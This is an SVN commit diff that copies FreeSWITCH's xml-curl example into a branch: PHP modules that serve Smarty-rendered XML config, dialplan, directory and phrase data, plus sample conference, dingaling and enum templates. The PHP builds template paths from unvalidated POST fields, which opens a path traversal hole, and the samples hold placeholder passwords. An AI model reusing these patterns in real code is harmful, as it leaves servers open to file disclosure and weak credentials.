+      </variables>
+    </configuration>
+
+    <configuration name="modules.conf" description="Modules">
+      <modules>
+	<!-- Loggers (I'd load these first) -->
+	<load module="mod_console"/>
+	<!-- <load module="mod_syslog"/> -->
+
+	<!-- you need to load this now and everything else comes from curl -->
+	<load module="mod_xml_curl"/>
+      </modules>
+    </configuration>
+
+    <configuration name="console.conf" description="Console Logger">
+      <!-- pick a file name, a function name or 'all' -->
+      <!-- map as many as you need for specific debugging -->
+      <mappings>
+	<!-- <param name="log_event" value="DEBUG"/> -->
+	<param name="all" value="DEBUG"/>
+      </mappings>
+    </configuration>
+
+    <configuration name="syslog.conf" description="Syslog Logger">
+      <!-- SYSLOG -->
+      <!-- emerg   - system is unusable  -->
+      <!-- alert   - action must be taken immediately  -->
+      <!-- crit    - critical conditions  -->
+      <!-- err     - error conditions  -->
+      <!-- warning - warning conditions  -->
+      <!-- notice  - normal, but significant, condition  -->
+      <!-- info    - informational message  -->
+      <!-- debug   - debug-level message -->
+      <settings>
+	<param name="ident" value="freeswitch"/>
+	<param name="facility" value="user"/>
+	<param name="format" value="${time} - ${message}"/>
+	<param name="level" value="debug,info,warning-alert"/>
+      </settings>
+    </configuration>
+
+    <configuration name="xml_curl.conf" description="cURL XML Gateway">
+      <bindings>
+        <binding name="example">
+	<!-- The url to a gateway cgi that can generate xml similar to
+	     what's in this file only on-the-fly (leave it commented if you dont
+	     need it) -->
+	<!-- one or more |-delim of configuration|directory|dialplan -->
+	<param name="gateway-url" value="http://localhost/xml-curl/curlrouting.php" bindings="dialplan|directory|configuration|phrases"/>
+	<!-- set this to provide authentication credentials to the server -->
+	<param name="gateway-credentials" value="switch1:password"/>-->
+	</binding>
+      </bindings>
+    </configuration>
+
+  </section>
+  
+</document>
+
+

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/modules (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/modules)

Deleted: freeswitch/branches/seven/contrib/trixter/xml-curl/modules/configuration.php

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/modules/configuration.php (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/modules/configuration.php) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-curl/modules/configuration.php	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-curl/modules/configuration.php	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,52 @@
+<?php  //  -*- mode:c; tab-width:4; c-basic-offset:4; indent-tabs-mode:nil;  -*-
+function configuration()
+{
+    global $_SERVER;
+    global $_POST;
+
+    $smarty = new Smarty();
+    $template = $_POST['key_value'].".tpl";
+
+    // only stuff that we dynamically set gets done here, if its not here the file is sent as is
+    switch($_POST['key_value']) {
+    case "conference.conf":
+        // simulate data from a database, perhaps a table with 3 columns did,value,args
+        $params['pin'] = '1234';
+        $params['anounce-count'] = '2';
+        $params['max-mmebers'] = '15';
+        $params['energy-level'] = '300';
+        $params['member-flags'] = 'waste';
+
+        $digits['0'] = 'event';
+        $digits['1'] = 'event';
+        $digits['2'] = 'event';
+        $digits['3'] = 'event';
+        $digits['4'] = 'event';
+        $digits['5'] = 'event';
+        $digits['6'] = 'event';
+        $digits['7'] = 'event';
+        $digits['8'] = 'event';
+        $digits['9'] = 'event';
+        $digits['#'] = 'event';
+        $digits['*'] = 'event';
+
+        $smarty->assign('CONFNAME',$_POST['conf_name']);
+        $smarty->assign('digits',$digits);
+        $smarty->assign('params',$params);
+    }
+
+    if($smarty->template_exists($_SERVER['DOCUMENT_ROOT'].dirname($_SERVER['PHP_SELF'])."/templates/".$_SERVER['REMOTE_USER']."/configuration/".$template)) {
+        error_log("Issuing configuration $_POST[key_value]");
+        $smarty->display($_SERVER['DOCUMENT_ROOT'].dirname($_SERVER['PHP_SELF'])."/templates/".$_SERVER['REMOTE_USER']."/configuration/".$template);
+    } else {
+        error_log("Unable to locate configuration file " . $_POST['key_value'] . " for " . $_SERVER['REMOTE_USER']);
+        error_log("template: " . $_SERVER['DOCUMENT_ROOT'].dirname($_SERVER['PHP_SELF'])."/templates/".$_SERVER['REMOTE_USER']."/configuration/" . $template);
+        return FALSE;
+    }
+    return TRUE;
+}
+
+// register the callback
+$callBacks['configuration']='configuration';
+
+?>

Deleted: freeswitch/branches/seven/contrib/trixter/xml-curl/modules/dialplan.php

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/modules/dialplan.php (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/modules/dialplan.php) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-curl/modules/dialplan.php	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-curl/modules/dialplan.php	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,35 @@
+<?php  //  -*- mode:c; tab-width:4; c-basic-offset:4; indent-tabs-mode:nil;  -*-
+function dialplan()
+{
+    global $_SERVER;
+    global $_POST;
+
+
+    // create a new smarty object
+	$smarty = new Smarty();
+	$template = 'fail.tpl';
+
+
+	// see if they authenticated via .htaccess
+	if(isset($_SERVER['REMOTE_USER']) && $_SERVER['REMOTE_USER']!="") {
+        // we might check a database for  the route, but in this example we hardcode it
+        $template = 'frompstn.tpl'; // one can exist for each profile or channel type or ...
+
+        // simulate a database query for the dialplan
+        $ACTION[]=Array('answer','');
+        $ACTION[]=Array('phrase','spell,abcdef');
+        $ACTION[]=Array('javascript','somethingcool.js');
+        $ACTION[]=Array('bridge','sofia/external/$_POST[destination_number]@myprovider.tld');
+        $smarty->assign('ACTION',$ACTION);
+
+    } // end - they were logged in
+	$smarty->display($_SERVER['DOCUMENT_ROOT'].dirname($_SERVER['PHP_SELF'])."/templates/".$_SERVER['REMOTE_USER']."/dialplan/".$template);
+
+    return TRUE;
+}
+
+
+// register the callback
+$callBacks['dialplan']='dialplan';
+
+?>

Deleted: freeswitch/branches/seven/contrib/trixter/xml-curl/modules/directory.php

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/modules/directory.php (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/modules/directory.php) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-curl/modules/directory.php	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-curl/modules/directory.php	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,41 @@
+<?php  //  -*- mode:c; tab-width:4; c-basic-offset:4; indent-tabs-mode:nil;  -*-
+
+/* generally we get the following information
+
+  [section] => directory
+  [tag_name] => domain
+  [key_name] => name
+  [key_value] => 192.168.153.128
+  [user] => testacct
+  [domain] => 192.168.153.128
+  [ip] => 192.168.153.1
+
+*/
+
+function directory()
+{
+    global $_SERVER;
+    global $_POST;
+
+
+    // create a new smarty object
+	$smarty = new Smarty();
+	$template = $_POST['domain'] .'.tpl';
+
+    // simulate a database query
+    $smarty->assign('USER','testacct');
+    $smarty->assign('PASSWORD','demopw');
+    $smarty->assign('DOMAIN',$_POST['domain']);
+
+
+	$smarty->display($_SERVER['DOCUMENT_ROOT'].dirname($_SERVER['PHP_SELF'])."/templates/".$_SERVER['REMOTE_USER']."/directory/".$template);
+	error_log($smarty->fetch($_SERVER['DOCUMENT_ROOT'].dirname($_SERVER['PHP_SELF'])."/templates/".$_SERVER['REMOTE_USER']."/directory/".$template));
+    error_log(print_r($_POST,true));
+    return TRUE;
+}
+
+
+// register the callback
+$callBacks['directory']='directory';
+
+?>

Deleted: freeswitch/branches/seven/contrib/trixter/xml-curl/modules/phrases.php

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/modules/phrases.php (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/modules/phrases.php) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-curl/modules/phrases.php	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-curl/modules/phrases.php	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,20 @@
+<?php  //  -*- mode:c; tab-width:4; c-basic-offset:4; indent-tabs-mode:nil;  -*-
+function phrases()
+{
+    global $_SERVER;
+    global $_POST;
+
+
+    // create a new smarty object
+	$smarty = new Smarty();
+	$template = 'lang_'. $_POST['lang'] .'.tpl';
+
+	$smarty->display($_SERVER['DOCUMENT_ROOT'].dirname($_SERVER['PHP_SELF'])."/templates/".$_SERVER['REMOTE_USER']."/phrases/".$template);
+    return TRUE;
+}
+
+
+// register the callback
+$callBacks['phrases']='phrases';
+
+?>

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/templates (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/templates)

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1 (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/templates/switch1)

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/templates/switch1/configuration)

Deleted: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/alsa.conf.tpl

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/alsa.conf.tpl (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/templates/switch1/configuration/alsa.conf.tpl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/alsa.conf.tpl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/alsa.conf.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,17 @@
+<?xml version="1.0"?>
+<document type="freeswitch/xml">
+  <section name="configuration" description="Various Configuration">
+<configuration name="alsa.conf" description="Soundcard Endpoint">
+  <settings>
+    <!--Default dialplan and caller-id info -->
+    <param name="dialplan" value="XML"/>
+    <param name="cid-name" value="N800 Alsa"/>
+    <param name="cid-num" value="5555551212"/>
+
+    <!--audio sample rate and interval -->
+    <param name="sample-rate" value="8000"/>
+    <param name="codec-ms" value="20"/>
+  </settings>
+</configuration>
+</section>
+</document>

Deleted: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/conference.conf.tpl

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/conference.conf.tpl (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/templates/switch1/configuration/conference.conf.tpl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/conference.conf.tpl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/conference.conf.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,70 @@
+<?xml version="1.0"?>
+<document type="freeswitch/xml">
+  <section name="configuration" description="Various Configuration">
+    <configuration name="conference.conf" description="Audio Conference">
+      <!-- Profiles are collections of settings you can reference by name. -->
+      <profiles>
+        <profile name="default">
+          <!-- Domain (for presence) -->
+          <param name="domain" value="freeswitch.org"/>
+          <!-- Sample Rate-->
+          <param name="rate" value="8000"/>
+          <!-- Number of milliseconds per frame -->
+          <param name="interval" value="20"/>
+
+          <!-- TTS Engine to use -->
+          <param name="tts-engine" value="cepstral"/>
+          <!-- TTS Voice to use -->
+          <param name="tts-voice" value="david"/>
+
+          <!-- If TTS is enabled all audio-file params not beginning with -->
+          <!-- '/' or with drive: (i.e. c:) will be considered text to say with TTS -->
+
+          <!-- File to play to acknowledge succees -->
+          <param name="ack-sound" value="/sounds/{$CONFNAME}/beep.raw"/>
+          <!-- File to play to acknowledge failure -->
+          <param name="nack-sound" value="/sounds/{$CONFNAME}/beeperr.raw"/>
+          <!-- File to play to acknowledge muted -->
+          <param name="muted-sound" value="/sounds/{$CONFNAME}/conf-muted.raw"/>
+          <!-- File to play to acknowledge unmuted -->
+          <param name="unmuted-sound" value="/sounds/{$CONFNAME}/conf-unmuted.raw"/>
+          <!-- File to play if you are alone in the conference -->
+          <param name="alone-sound" value="/sounds/{$CONFNAME}/conf-onlyperson.raw"/>
+          <!-- File to play when you join the conference -->
+          <param name="enter-sound" value="/sounds/{$CONFNAME}/conf-enter.raw"/>-->
+          <!-- File to play when you leave the conference -->
+          <param name="exit-sound" value="/sounds/{$CONFNAME}/conf-exit.raw"/>-->
+          <!-- File to play when you ae ejected from the conference -->
+          <param name="kicked-sound" value="/sounds/{$CONFNAME}/conf-kicked.raw"/>
+          <!-- File to play when the conference is locked -->
+          <param name="locked-sound" value="/sounds/{$CONFNAME}/conf-locked.raw"/>
+          <!-- File to play to prompt for a pin -->
+          <param name="pin-sound" value="/sounds/{$CONFNAME}/conf-getpin.raw"/>
+          <!-- File to play to when the pin is invalid -->
+          <param name="bad-pin-sound" value="/sounds/{$CONFNAME}/conf-invalidpin.raw"/>
+	  <param name="max-members-sound" value="/sounds/{$CONFNAME}/conf-full.raw"/>
+
+
+
+{foreach key=k item=v from=$params}
+          <param name="{$k}" value="{$v}"/>
+{/foreach}
+
+          <!-- Default Caller ID Name for outbound calls -->
+          <param name="caller-id-name" value="FreeSWITCH"/>
+          <!-- Default Caller ID Number for outbound calls -->
+          <param name="caller-id-number" value="1234567890"/>
+          <param name="caller-controls" value="mykeys"/>
+        </profile>
+      </profiles>
+      <caller-controls>
+        <group name="mykeys">
+{foreach key=k item=v from=$digits}
+          <control action="{$v}" digits="{$k}"/>
+{/foreach}
+        </group>
+      </caller-controls>
+
+    </configuration>
+  </section>
+</document>

Deleted: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/console.conf.tpl

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/console.conf.tpl (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/templates/switch1/configuration/console.conf.tpl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/console.conf.tpl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/console.conf.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,17 @@
+<?xml version="1.0"?>
+<document type="freeswitch/xml">
+  <section name="configuration" description="Various Configuration">
+<configuration name="console.conf" description="Console Logger">
+  <!-- pick a file name, a function name or 'all' -->
+  <!-- map as many as you need for specific debugging -->
+  <mappings>
+    <!-- <param name="log_event" value="DEBUG"/> -->
+    <param name="all" value="DEBUG"/>
+  </mappings>
+  <settings>
+    <!-- uncomment for color logging (for debugging) -->
+    <!--<param name="colorize" value="true"/>-->
+  </settings>
+</configuration>
+</section>
+</document>

Deleted: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/default_context.tpl

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/default_context.tpl (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/templates/switch1/configuration/default_context.tpl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/default_context.tpl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/default_context.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,185 @@
+<?xml version="1.0"?>
+<document type="freeswitch/xml">
+  <section name="configuration" description="Various Configuration">
+<!-- Valid fields in conditions: -->
+<!-- "dialplan, caller_id_name, ani, ani2, caller_id_number, -->
+<!-- rdnis, destination_number, uuid, source, context, chan_name" -->
+
+<!-- *NOTE* The special context name 'any' will match any context -->
+<context name="default">
+  <extension name="556"> <!-- demo phrases -->
+    <condition field="destination_number" expression="^556$">
+      <action application="answer"/>
+      <action application="sleep" data="1000"/>
+      <action application="phrase" data="spell,${caller_id_name}"/>
+      <action application="phrase" data="spell-phonetic,${caller_id_name}"/>
+      <action application="phrase" data="timespec,12:45:15"/>
+      <action application="phrase" data="saydate,0"/>
+      <action application="phrase" data="msgcount,130"/>
+      <action application="phrase" data="ip-addr,66.250.68.194"/>
+      <action application="phrase" data="saydate,$strepoch(2006-03-23 7:23)"/>
+      <!--<action application="phrase" data="timeleft,3:30"/>-->
+    </condition>
+  </extension>
+
+  <extension name="9193">
+    <condition field="destination_number" expression="^9193$">
+      <action application="set" data="bridge_pre_execute_bleg_app=soundtouch"/>
+      <!-- send or recv indicates which direction the dtmf is parsed from 
+	   since this example is send and it's being called on the b leg
+	   the application will intercept the dtmf from being sent to the b leg 
+	   a.k.a. by the dtmf of the A leg.
+	   if it were 'recv' then it would be parsed when the dtmf was 
+	   received *from* the b leg so it could control itself.
+	   The optional keywords "read" and "write" will also change the stream replaced
+      -->
+      <action application="set" data="bridge_pre_execute_bleg_data=send -4s"/>
+      <action application="bridge" data="sofia/$${domain}/foo"/>
+    </condition>
+  </extension>
+
+
+
+  <extension name="9192">
+    <condition field="destination_number" expression="^9192$">
+      <!-- Maintain Buffer of 128k of audio (default is 64k) -->
+      <action application="set" data="stream_prebuffer=131072"/>
+      <!-- Play a stream -->
+      <action application="playback" data="shout://mp3.ihets.org/wfyihd132"/>
+    </condition>
+  </extension>
+
+
+  <!-- Example extension for require auth per-call. -->
+  <extension name="9191">
+    <!-- Match the destination digits of 9191 -->
+    <condition field="destination_number" expression="^9191$"/>
+    <!-- Make sure the sip_authorized variable is set (set on all authed calls) 
+	 If it isn't, then send an auth challange.
+    -->
+    <condition field="${sip_authorized}" expression="true">
+      <anti-action application="reject" data="407"/>
+    </condition>
+
+    <!-- If you made it here all is well and the call is authed.
+	 Do whatever you wish.
+    -->
+    <condition>
+      <action application="playback" data="/tmp/itworked.wav"/>
+    </condition>
+  </extension>
+
+  <extension name="tollfree">
+    <condition field="destination_number" expression="^(18(0{2}|8{2}|7{2}|6{2})\d{7})$">
+      <action application="enum" data="$1"/>
+      <action application="bridge" data="${enum_auto_route}"/>
+    </condition>
+  </extension>
+
+  <!-- Call the FreeSWITCH conference via SIP -->
+  <!--<extension name="FreeSWITCH Conference SIP">-->
+  <!--<condition field="destination_number" expression="^888$">-->
+  <!--<action application="bridge" data="sofia/$${sip_profile}/888@conference.freeswitch.org"/>-->
+  <!--</condition>-->
+  <!--</extension> -->
+
+  <!-- Call the FreeSWITCH conference via IAX -->
+  <!--<extension name="FreeSWITCH Conference IAX">-->
+  <!--<condition field="destination_number" expression="^8888$">-->
+  <!--<action application="bridge" data="iax/guest@conference.freeswitch.org/888"/>-->
+  <!--</condition>-->
+  <!--</extension>-->
+
+  <extension name="set_codec" continue="true">
+    <condition field="source" expression="mod_portaudio">
+      <action application="export" data="absolute_codec_string=$${global_codec_prefs}"/>
+      <action application="export" data="nolocal:jitterbuffer_msec=180"/>
+    </condition>
+  </extension>
+
+
+  <extension name="testmusic">
+    <condition field="destination_number" expression="^1234$">
+      <!-- Request a certain tone/file to be played while you wait for the call to be answered-->
+      <action application="set" data="ringback=${us-ring}"/>
+      <!--<action application="set" data="ringback=/home/ring.wav"/>-->
+      <!--<action application="set" data="jitterbuffer_msec=180"/>-->
+      <action application="bridge" data="sofia/$${sip_profile}/1234@conference.freeswitch.org"/>
+    </condition>
+  </extension>
+
+  <!-- Enter an existing conference -->
+  <extension name="1000">
+    <condition field="destination_number" expression="^1000$">
+      <action application="conference" data="freeswitch"/>
+    </condition>
+  </extension>
+
+  <!-- Start a dynamic conference and call someone at the same time -->
+  <extension name="2000">
+    <condition field="destination_number" expression="^2000$">
+      <action application="conference" data="bridge:mydynaconf:sofia/$${sip_profile}/1234@conference.freeswitch.org"/>
+    </condition>
+  </extension>
+
+  <!-- extensions starting with 4, all the numbers after 4 form a numeric filename -->
+  <!-- continue="true" means keep looking for more extensions to match -->
+  <!-- *NOTE* The entire dialplan is parsed ONCE when the call starts -->
+  <!-- so any call info acquired after the various actions cannot -->
+  <!-- be taken into consideration. -->
+
+  <!-- The first match will play a beep and the second one plays -->
+  <!-- the desired file.  This is for demo purposes both actions -->
+  <!-- could have been under the same <extension> tag as well. -->
+  <extension name="playsound1" continue="true">
+    <condition field="source" expression="mod_sofia"/>
+    <condition field="destination_number" expression="^4(\d+)">
+      <action application="playback" data="/var/sounds/beep.gsm"/>
+    </condition>
+  </extension>
+
+  <extension name="playsound2">
+    <condition field="source" expression="mod_sofia"/>
+    <condition field="destination_number" expression="^4(\d+)">
+      <action application="playback" data="/root/$1.raw"/>
+    </condition>
+  </extension>
+
+  <!-- send everything with a certian RDNIS to Wanpipe ISDN -->
+  <extension name="To PRI">
+    <condition field="rdnis" expression="8881231234"/>
+    <condition field="destination_number" expression="(.*)">
+      <action application="bridge" data="wanpipe/pri/a/a/$1"/>
+    </condition>
+  </extension>
+
+  <!-- Call *MUST* originate from mod_iax and also be dialing ext 9999-->
+  <extension name="9999">
+    <condition field="source" expression="mod_iax"/>
+    <condition field="destination_number" expression="9999">
+      <action application="playback" data="/var/sounds/beep.gsm"/>
+    </condition>
+  </extension>
+
+  <!--This extension will start a conference and invite several people upon entering -->
+  <extension name="0911">
+    <condition field="destination_number" expression="0911">
+      
+      <!--These params effect the outcalls made once you join-->
+      <action application="set" data="conference_auto_outcall_caller_id_name=pissed off boss"/>
+      <action application="set" data="conference_auto_outcall_caller_id_number=0911"/>
+      <action application="set" data="conference_auto_outcall_timeout=60"/>
+      <action application="set" data="conference_auto_outcall_flags=none"/>
+      <action application="set" data="conference_auto_outcall_announce=say:You have been called into an emergency conference"/>
+
+      <!--Add as many of these as you need, These are the people you are going to call-->
+      <action application="conference_set_auto_outcall" data="sofia/gateway/mygateway/12121231234"/>
+      <action application="conference_set_auto_outcall" data="sofia/$${domain}/1234@somewhere.com"/>
+      
+      <action application="conference" data="cool@default"/>
+    </condition>
+  </extension>
+
+</context>
+</section>
+</document>

Deleted: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/dialplan_directory.conf.tpl

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/dialplan_directory.conf.tpl (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/templates/switch1/configuration/dialplan_directory.conf.tpl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/dialplan_directory.conf.tpl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/dialplan_directory.conf.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,14 @@
+<?xml version="1.0"?>
+<document type="freeswitch/xml">
+  <section name="configuration" description="Various Configuration">
+<configuration name="dialplan_directory.conf" description="Dialplan Directory">
+  <settings>
+    <param name="directory-name" value="ldap"/>
+    <param name="host" value="ldap.freeswitch.org"/>
+    <param name="dn" value="cn=Manager,dc=freeswitch,dc=org"/>
+    <param name="pass" value="test"/>
+    <param name="base" value="dc=freeswitch,dc=org"/>
+  </settings>
+</configuration>
+</section>
+</document>

Deleted: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/dingaling.conf.tpl

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/dingaling.conf.tpl (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/templates/switch1/configuration/dingaling.conf.tpl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/dingaling.conf.tpl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/dingaling.conf.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,59 @@
+<?xml version="1.0"?>
+<document type="freeswitch/xml">
+  <section name="configuration" description="Various Configuration">
+<configuration name="dingaling.conf" description="XMPP Jingle Endpoint">
+  <settings>
+    <param name="debug" value="0"/>
+    <param name="codec-prefs" value="PCMU"/>
+  </settings>
+
+  <!-- *NOTE* change <x-profile></x-profile> to <profile></profile> to enable -->
+
+  <!-- Client Profile (Original mode) -->
+  <x-profile type="client">
+    <param name="name" value="$${xmpp_client_profile}"/>
+    <param name="login" value="myjid@myserver.com/talk"/>
+    <param name="password" value="mypass"/>
+    <param name="dialplan" value="XML"/>
+    <param name="message" value="Jingle all the way"/>
+    <param name="rtp-ip" value="$${bind_server_ip}"/>
+    <!-- <param name="ext-rtp-ip" value="$${external_rtp_ip"/> -->
+    <param name="auto-login" value="true"/>
+    <!-- SASL "plain" or "md5" -->
+    <param name="sasl" value="plain"/>
+    <!-- if the server where the jabber is hosted is not the same as the one in the jid -->
+    <!--<param name="server" value="alternate.server.com"/>-->
+    <!-- Enable TLS or not -->
+    <param name="tls" value="true"/>
+    <!-- disable to trade async for more calls -->
+    <param name="use-rtp-timer" value="true"/>
+    <!-- default extension (if one cannot be determined) -->
+    <param name="exten" value="888"/>
+    <!-- VAD choose one -->
+    <!-- <param name="vad" value="in"/> -->
+    <!-- <param name="vad" value="out"/> -->
+    <param name="vad" value="both"/>
+    <!--<param name="avatar" value="/path/to/tiny.jpg"/>-->
+  </x-profile>
+
+  <!-- Component (Server to Server Login) -->
+  <x-profile type="component">
+    <param name="name" value="$${xmpp_server_profile}"/>
+    <param name="password" value="secret"/>
+    <param name="dialplan" value="XML"/>
+    <param name="rtp-ip" value="$${bind_server_ip}"/>
+    <param name="server" value="jabber.server.org:5347"/>
+    <!-- disable to trade async for more calls -->
+    <param name="use-rtp-timer" value="true"/>
+    <!-- "_auto_" means the extension will be automaticly set to the called jid -->
+    <param name="exten" value="_auto_"/>
+    <!--<param name="vad" value="both"/>-->
+    <!--<param name="avatar" value="/path/to/tiny.jpg"/>-->
+    <!--If you have ODBC support and a working dsn you can use it instead of SQLite-->
+    <!--<param name="odbc-dsn" value="dsn:user:pass"/>-->
+
+  </x-profile>
+
+</configuration>
+</section>
+</document>

Deleted: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/directory.tpl

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/directory.tpl (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/templates/switch1/configuration/directory.tpl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/directory.tpl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/directory.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,53 @@
+<?xml version="1.0"?>
+<document type="freeswitch/xml">
+  <section name="configuration" description="Various Configuration">
+<!--the domain or ip (the right hand side of the @ in the addr-->
+<domain name="$${domain}">
+  <!--the user id (the left hand side of the @ in the addr-->
+  <user id="stpeter">
+    <!-- Outbound Registrations Related to this user -->
+    <gateways>
+      <!--<gateway name="asterlink.com">-->
+      <!--/// account username *required* ///-->
+      <!--<param name="username" value="cluecon"/>-->
+      <!--/// auth realm: *optional* same as gateway name, if blank ///-->
+      <!--<param name="realm" value="asterlink.com"/>-->
+      <!--/// domain to use in from: *optional* same as  realm, if blank ///-->
+      <!--<param name="from-domain" value="asterlink.com"/>-->
+      <!--/// account password *required* ///-->
+      <!--<param name="password" value="2007"/>--> 
+      <!--/// replace the INVITE from user with the channel's caller-id ///-->
+      <!--<param name="caller-id-in-from" value="false"/>-->
+      <!--/// extension for inbound calls: *optional* same as username, if blank ///-->
+      <!--<param name="extension" value="cluecon"/>-->
+      <!--/// proxy host: *optional* same as realm, if blank ///-->
+      <!--<param name="proxy" value="asterlink.com"/>-->
+      <!--/// expire in seconds: *optional* 3600, if blank ///-->
+      <!--<param name="expire-seconds" value="60"/>-->
+      <!--/// do not register ///-->
+      <!--<param name="register" value="false"/>-->
+      <!--How many seconds before a retry when a failure or timeout occurs -->
+      <!--<param name="retry_seconds" value="30"/>-->
+      <!--Use the callerid of an inbound call in the from field on outbound calls via this gateway -->
+      <!--<param name="caller-id-in-from" value="false"/>-->
+      <!--</gateway>-->
+    </gateways>
+    <params>
+      <!-- omit password for authless registration -->
+      <param name="password" value="mypass"/>
+      <!-- optionally use this instead if you want to store the hash of user:domain:pass-->
+      <!--<param name="a1-hash" value="c6440e5de50b403206989679159de89a"/>-->
+    </params>
+    <variables>
+      <!--all variables here will be set on all inbound calls that originate from this user -->
+      <variable name="testing" value="this"/>
+      <!--<variable name="force-contact" value="nat-connectile-dysfunction"/>-->
+    </variables>
+
+    <vcard>
+      <!-- insert optional compliant vcard xml here-->
+    </vcard>
+  </user>
+</domain>
+</section>
+</document>

Deleted: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/enum.conf.tpl

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/enum.conf.tpl (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/templates/switch1/configuration/enum.conf.tpl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/enum.conf.tpl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/enum.conf.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,18 @@
+{literal}
+<?xml version="1.0"?>
+<document type="freeswitch/xml">
+  <section name="configuration" description="Various Configuration">
+<configuration name="enum.conf" description="ENUM Module">
+  <settings>
+    <param name="default-root" value="e164.org"/>
+  </settings>
+
+  <routes>
+    <route service="E2U+SIP" regex="sip:(.*)" replace="sofia/$${sip_profile}/$1"/>
+    <route service="E2U+IAX2" regex="iax2:(.*)" replace="iax/$1"/>
+    <route service="E2U+XMPP" regex="XMPP:(.*)" replace="dingaling/$${xmpp_server_profile}/$1"/>
+  </routes>
+</configuration>
+</section>
+</document>
+{/literal}

Deleted: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/event_multicast.conf.tpl

